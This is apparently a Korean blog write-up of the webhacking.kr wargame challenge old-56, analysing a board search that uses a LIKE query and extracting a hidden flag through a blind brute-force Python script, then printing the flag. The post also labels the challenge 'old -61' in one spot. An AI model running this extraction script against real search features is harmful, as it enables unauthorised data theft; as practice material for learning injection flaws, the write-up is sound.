[webhacking.kr] old-56 문제

2026. 2. 2. 14:38·워게임/webhacking.kr

1. 문제 정보

  • 문제 번호 : old -61
  • 문제 점수 : 25점

 


2. 문제 분석

56번 문제에 들어가면 BOARD가 들어가고 search가 나온다.

 

 subject에서 readme를 누르면 access denied가 뜨고 hi~를 누르면 hello가 나온다.

 

read me에 내용을 읽어야할 것 같다.

search버튼에 1,id, sub,0을 눌러도 아무것도 안나온다 하지만 hi를 눌러보면 admin이 나왔다

그래서 내용을 기반으로 검색하는 거 같아 hello를 검색하니 guest가 나왔다.

 

sql에서 검색을 아래 쿼리로 하고 있는 것 같다.

SELECT * FROM board WHERE content LIKE '%{검색어}%'


3. 풀이

내용을 바탕으로 검색하니까 readme의 내용을 유츄해보면 flag가 있을 것이다. flag를 입력해보면 admin이 뜬다.

 

그리고 그 다음 문자들을 순차적으로 하나씩 대입해보면 flag{hi까지 찾았는데 파이썬 스크립트로 자동화 해보자 

 

import requests
import string

# 대상 URL
url = "https://webhacking.kr/challenge/web-33/index.php"

# 사용자 세션 쿠키 (제공해주신 데이터 적용)
cookies = {
    "PHPSESSID": ""
}

# 헤더 설정 (WAF 우회 및 일반 브라우저처럼 보이기 위함)
headers = {
    "User-Agent": 
    "Content-Type": 
}

# 검색 가능한 문자열 집합 (알파벳, 숫자, 특수문자 등)
# SQL 와일드카드인 _ 와 % 는 문맥에 따라 주의가 필요합니다.
chars = string.ascii_letters + string.digits + "}_?" 

# 현재까지 알아낸 플래그 (제공해주신 내용)
# 주의: 만약 _가 와일드카드로 쓰였다면 실제 문자는 다를 수 있습니다.
# 여기서는 입력하신 그대로 시작점으로 잡습니다.
current_flag = "flag{hi"

print(f"Brute Force : {current_flag} ")

while True:
    found_char = False
    
    for char in chars:
        # 테스트할 페이로드 구성
        # SQL 검색 구문에 따라 % 와일드카드가 필요할 수도 있습니다.
        # 예: payload = current_flag + char + "%"
        # 여기서는 단순히 문자열을 이어 붙여 전송합니다.
        payload = current_flag + char
        
        data = {
            "search": payload
        }
        
        try:
            response = requests.post(url, headers=headers, cookies=cookies, data=data)
            
            # 참/거짓 판별 로직
            # 응답에 "admin" 텍스트가 포함되어 있거나
            # Content-Length가 373 근처라면 참으로 간주
            if "admin" in response.text and "<td>admin</td>" in response.text:
                current_flag += char
                print(f"find: {current_flag}")
                found_char = True
                break
                
        except Exception as e:
            print(f"에러 발생: {e}")
            break
    
    # 해당 위치의 문자를 찾지 못했거나 플래그가 닫는 괄호 }로 끝나면 종료
    if not found_char:
        print("더 이상 매칭되는 문자를 찾을 수 없습니다.")
        break
        
    if current_flag.endswith("}"):
        print(f"FLAG: {current_flag}")
        break

 

 

그런데 여기서 조심해야할 것이 _ 와일드 카드이다.

와일드 카드는 _에 어떤 값이 들어가도 무시하고 실행한다 따라서 _를 다른 값보다 먼저 검사하면 _가 먼저 참이 되므로 조심해야한다.

 

따라서 코드에서chars = string.ascii_letters + string.digits + "}?_"로 변경하면 flag는 이렇게 나온다.

flag{himiko_toga_is_cute_dont_you_think_so?}

 

 


 

 

 

 

4. 요약

 

 

  • 게시판 검색 기능에서 readme 내용에 포함된 플래그를 찾기 위해 참과 거짓 반응을 구분하는 Blind SQL Injection 공격을 수행하는 문제이다.
  • 파이썬 스크립트로 자동화하던 중 SQL의 LIKE 연산자에서 와일드카드로 쓰이는 _ 문자가 모든 문자와 매칭되어 오탐지를 유발하는 논리적 오류를 발견했다.
  • 이를 해결하기 위해 _ 문자를 검사 리스트의 가장 마지막 순서로 배치하여 우선순위를 낮춤으로써 정확한 플래그를 얻었다

 

 

'워게임 > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-11 문제  (0) 2026.02.02
[webhacking.kr] old-4 문제  (0) 2026.02.02
[webhacking.kr] old-59 문제  (0) 2026.02.02
[webhacking.kr] old-61 문제  (0) 2026.02.02
[webhacking.kr] old-10 문제  (0) 2026.01.30
'워게임/webhacking.kr' 카테고리의 다른 글
  • [webhacking.kr] old-11 문제
  • [webhacking.kr] old-4 문제
  • [webhacking.kr] old-59 문제
  • [webhacking.kr] old-61 문제
yt_5246
yt_5246
yt5246 님의 블로그 입니다.
  • yt_5246
    yt의 공부 블로그
    yt_5246
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
    • 분류 전체보기 (61)
      • IT (1)
      • Security (11)
        • 시스템해킹 (3)
        • 리버싱 (6)
        • 암호학 (0)
        • tools (2)
      • Book (0)
      • 자격증 (3)
      • 워게임 (46)
        • DVWA (7)
        • WebGoat (4)
        • webhacking.kr (35)
      • 버그바운티 (0)
  • 인기 글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
yt_5246
[webhacking.kr] old-56 문제
상단으로

티스토리툴바